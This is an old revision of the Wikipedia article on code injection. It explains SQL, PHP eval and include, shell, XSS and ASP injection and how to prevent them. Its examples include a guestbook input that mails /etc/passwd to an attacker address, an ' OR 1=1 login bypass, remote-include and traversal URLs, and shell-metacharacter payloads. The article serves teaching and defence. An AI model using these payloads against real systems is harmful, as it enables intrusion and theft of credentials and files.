Jump to content

Code injection

From Wikipedia, the free encyclopedia

This is an old revision of this page, as edited by CJHung (talk | contribs) at 23:02, 11 April 2007 (→Malevolent: "comprimisation" -> "compromisation"). The present address (URL) is a permanent link to this revision, which may differ significantly from the current revision.

Code injection is a technique to introduce (or "inject") code into a computer program or system by taking advantage of the unenforced and unchecked assumptions the system makes about its inputs.

The purpose of the injected code is typically to bypass or modify the originally intended functionality of the program. When the functionality bypassed is system security, the results can be disastrous.

A simple Code injection example: a web server has a "Guest book" script, which accepts small messages from users, and typically receives messages such as 

 Amy was here! Nice site!

However a malicious person may know of a code injection vulnerability in the "Guest book", and enters a message such as 

 ; cat /etc/passwd | email attacker@attacker.com #

in order to inject code into the "Guest book" which steals the passwd file from the web server and e-mails it to attacker.

Most of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data. Classic examples of dangerous assumptions a software developer might make about the input to a program includes:

  • assuming that metacharacters for an API never occurs in an input; e.g. assuming punctuation like quotation marks or semi-colons would never appear
  • assuming only numeric characters will be entered as input
  • assuming the input will never exceed a certain size
  • assuming that numeric values are equal or less than upper bound
  • assuming that numeric values are equal or greater than lower bound
  • assuming that client supplied values set by server (such as hidden form fields or cookies), cannot be modified by client. This assumption ignores known attacks such as Cookie poisoning, in which values are set arbitrarily by malicious clients.
  • assuming that it is okay to pick pointers or array indexes from input
  • assuming an input would never provide false information about itself or related values, such as the size of a file (*).

The purpose of the injected code is typically to bypass or modify the originally intended functionality of the program. When the functionality bypassed is system security, the results can be disastrous.

(*) Many file formats begin by declaring how much data they hold, along with some other values, up front. Understating the amount of data in this declaration can lead to a buffer overrun in carelessly developed software. For example, a carelessly built web browser. This often exposes a code injection vulnerability. This is the premise behind many security vulnerabilities involving files, especially image and media files.

Uses of Code Injection

Intentional Use

Malevolent

Use of code injection is typically viewed as a malevolent action, and it often is. Code injection techniques are popular in system hacking or cracking to gain information, Privilege escalation or unauthorised access to a system.

Code injection can be used malevolently to:

  • Arbitrarily modify values in a database through a type of code injection called SQL injection. The impact of this can range from defacement of a web site to serious compromisation of sensitive data.
  • Install malware on a computer by exploiting code injection vulnerabilities in a web browser or its plugins when the user visits a malicious site.
  • Install malware or execute malevolent code on a server, by PHP or ASP Injection.
  • Privilege escalation to root permissions by exploiting Shell Injection vulnerabilities in a setuid root binary on UNIX.
  • Privilege escalation to Local System permissions by exploiting Shell Injection vulnerabilities in a service on Windows.
  • Stealing sessions/cookies from web browsers using HTML/Script Injection (Cross Site Scripting).

Benevolent

Code injection may be used with relatively good intention in some cases. For example, a user who wishes to change or tweak the behavior of a program or system to meet their needs might use code injection to trick the system into behaving the way they would like without "hurting anyone". For example:

  • Include a column in a search results page that wasn't included in the original design but saves a bunch of work now.
  • Filter, order, or group data by a field not exposed in the default functionality.

Typically, users resort to this sort of work-around for one of these reasons:

  • Modifying the software to function as desired is impossible, or
  • Modifying the software is prohibitively costly, or
  • Modifying the software is a frustratingly painful process.

This use of code injection is heavily frowned upon by the development community as a whole, and is typically called a kludge or hack.

Some software products allow or even promote the use of code injection to "enhance" their products. Usually this is because the code injection solution is less expensive to implement than new or specialized product features. The side effects and unaccounted implications of this can be very dangerous.

In general, the well-intentioned use of code injection is discouraged.

Unintentional Use

Some users may unsuspectingly perform code injection because input they provide to a program was not considered by those who originally developed the system. For example:

  • What the user may consider a valid input may contain token characters or character strings that have been reserved by the developer to have special meaning (perhaps the "&" in "Shannon & Jason", or quotation marks as in "Bub 'Slugger' McCracken").
  • The user may submit a malformed file as input that is handled gracefully in one application, but is toxic to the receiving system.

Preventing Code Injection

To prevent Code Injection problems, utilize Secure input and output handling, such as:

  • Input validation
  • Input encoding
  • Output encoding
  • Other coding practices which are not prone to Code Injection vulnerabilities, such as "parameterized SQL queries" (also known as "prepared statements" and sometimes "bind variables").

Examples of Code Injection

SQL Injection

SQL Injection takes advantage of the syntax of SQL to inject commands that can read or modify a database, or compromise the meaning of the original query.

For example, consider a web page has two fields to allow users to enter a Username and a Password. The code behind the page will generate a SQL query to check the Password against the list of Usernames: 

SELECT UserList.Username
FROM UserList
WHERE
UserList.Username = 'Username'
AND UserList.Password = 'Password'

If this query returns exactly one row, then access is granted. However, if the malicious user enters a valid Username and injects some valid code ("' OR 1=1") in the Password field, then the resulting query will look like this: 

SELECT UserList.Username
FROM UserList
WHERE
UserList.Username = 'Username'
AND UserList.Password = 'Password' OR '1'='1'

In the example above, "Password" is assumed to be blank or some innocuous string. "1=1" will always be true and many rows will be returned, thereby allowing access. The final inverted comma will be ignored by the SQL parser. The technique may be refined to allow multiple statements to run, or even to load up and run external programs.

PHP Injection

"PHP Injection," "ASP Injection," et cetera are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "PHP Injection," the server side scripting engine is PHP.

In practice, PHP Injection is either the exploitation of "Dynamic Evaluation Vulnerabilities," "Include File Injection," or similar code injection vulnerabilities.

Dynamic Evaluation Vulnerabilities

Steven M. Christey of mitre.org suggests this name for a class of code injection vulnerabilities.

Dynamic Evaluation Vulnerabilities - Eval Injection

An eval injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call.[1] 

  $myvar = "varname"; 
  $x = $_GET['arg']; 
  eval("\$myvar = \$x;");

The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10 ; system(\"/bin/echo uh-oh\");", additional code is run which executes a program on the server, in this case "/bin/echo".

Dynamic Evaluation Vulnerabilities - Dynamic Variable Evaluation

As defined in "Dynamic Evaluation Vulnerabilities in PHP applications": PHP supports "variable variables," which are variables or expressions that evaluate to the names of other variables [3]. They can be used to dynamically change which variable is accessed or set during execution of the program. This powerful and convenient feature is also dangerous.

A number of applications have code such as the following: 

  $safevar = "0"; 
  $param1 = ""; 
  $param2 = ""; 
  $param3 = ""; 
  # my own "register globals" for param[1,2,3] 
  foreach ($_GET as $key => $value) { 
    $$key = $value; 
  }

If the attacker provides "safevar=bad" in the query string, then $safevar will be set to the value "bad".

Dynamic Evaluation Vulnerabilities - Dynamic Function Evaluation

The following PHP-examples will execute a function specified by request. 

   $myfunc = $_GET['myfunc']; 
   $myfunc();

and: 

   $myfunc = $_GET['myfunc']; 
   ${"myfunc"}();

Include File Injection

Consider this PHP program (which includes a file specified by request): 

<?php
   $color = 'blue';
   if ( isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>
<form>
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:

  • /vulnerable.php?COLOR=http://evil/exploit - injects a remotely hosted file containing an exploit.
  • /vulnerable.php?COLOR=C:\ftp\upload\exploit - injects an uploaded file containing an exploit.
  • /vulnerable.php?COLOR=..\..\..\..\ftp\upload\exploit - injects an uploaded file containing an exploit, using directory traversal.
  • /vulnerable.php?COLOR=C:\notes.txt%00 - example using NUL meta character to remove the .php suffix, allowing access to other files than .php. (PHP setting "magic_quotes_gpc = On", which is default, would stop this attack)

Shell Injection

Shell Injection is named after Unix shells, but applies to most systems which allows software to programmatically execute Command line. Typical sources of Shell Injection is calls system(), StartProcess(), java.lang.Runtime.exec() and similar APIs.

Consider the following short PHP program, which runs an external program called funnytext to replace a word the user sent with some other word) 

<HTML>
<?php
passthru ( " /home/user/phpguru/funnytext " 
           . $_GET['USER_INPUT'] );
?>

This program can be injected in multiple ways:

  • `command` will execute command.
  • $(command) will execute command.
  • ; command will execute command, and output result of command.
  • | command will execute command, and output result of command.
  • && command will execute command, and output result of command.
  • || command will execute command, and output result of command.
  • > /home/user/phpguru/.bashrc will overwrite file .bashrc.
  • < /home/user/phpguru/.bashrc will send file .bashrc as input to funnytext.

PHP offers escapeshellarg() and escapeshellcmd() to perform encoding before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.

HTML/Script Injection (Cross Site Scripting)

Main article: Cross-site scripting

HTML/Script Injection is a popular subject, commonly termed "Cross Site Scripting", or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the outputted HTML, without being checked for HTML code or scripting.

The two basic types are as follows:

Active (Type 1) This type of XSS flaw is less dangerous, as the user input is placed into a dynamically generated page. No changes are made on the server.

Passive (Type 2) This type is more dangerous, as the input is written to a static page, and as such, is persistent.

ASP Injection

"ASP Injection", "PHP Injection" etc are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "ASP Injection", the server side scripting engine is Microsoft Active Server Pages, an add-on to Microsoft IIS.

In practice, ASP Injection is either the exploitation of Dynamic Evaluation Vulnerabilities, Include File Injection or similar code injection vulnerabilities.

Example: 

<%
	If not isEmpty(Request( "username" ) ) Then
		Const ForReading = 1, ForWriting = 2, ForAppending = 8
		Dim fso, f
		Set fso = CreateObject("Scripting.FileSystemObject")
		Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True)
		f.Write Request("username") & vbCrLf
		f.close
		Set f = nothing
		Set fso = Nothing
		%>
		<h1>List of logged users:</h1>
		<pre>
		<%
			Server.Execute( "userlog.txt" )
		%>
		</pre>
		<%
	Else
		%>
		<form>
			<input name="username" /><input type="submit" name="submit" />
		</form>
		<%
	End If
%>

In this example, the user is able to insert a command instead of a username.

References

  1. ^ Insecure.org. "Dynamic Evaluation Vulnerabilities in PHP applications".

See also

Notable code injection programs

Retrieved from "https://en.wikipedia.org/w/index.php?title=Code_injection&oldid=122076794"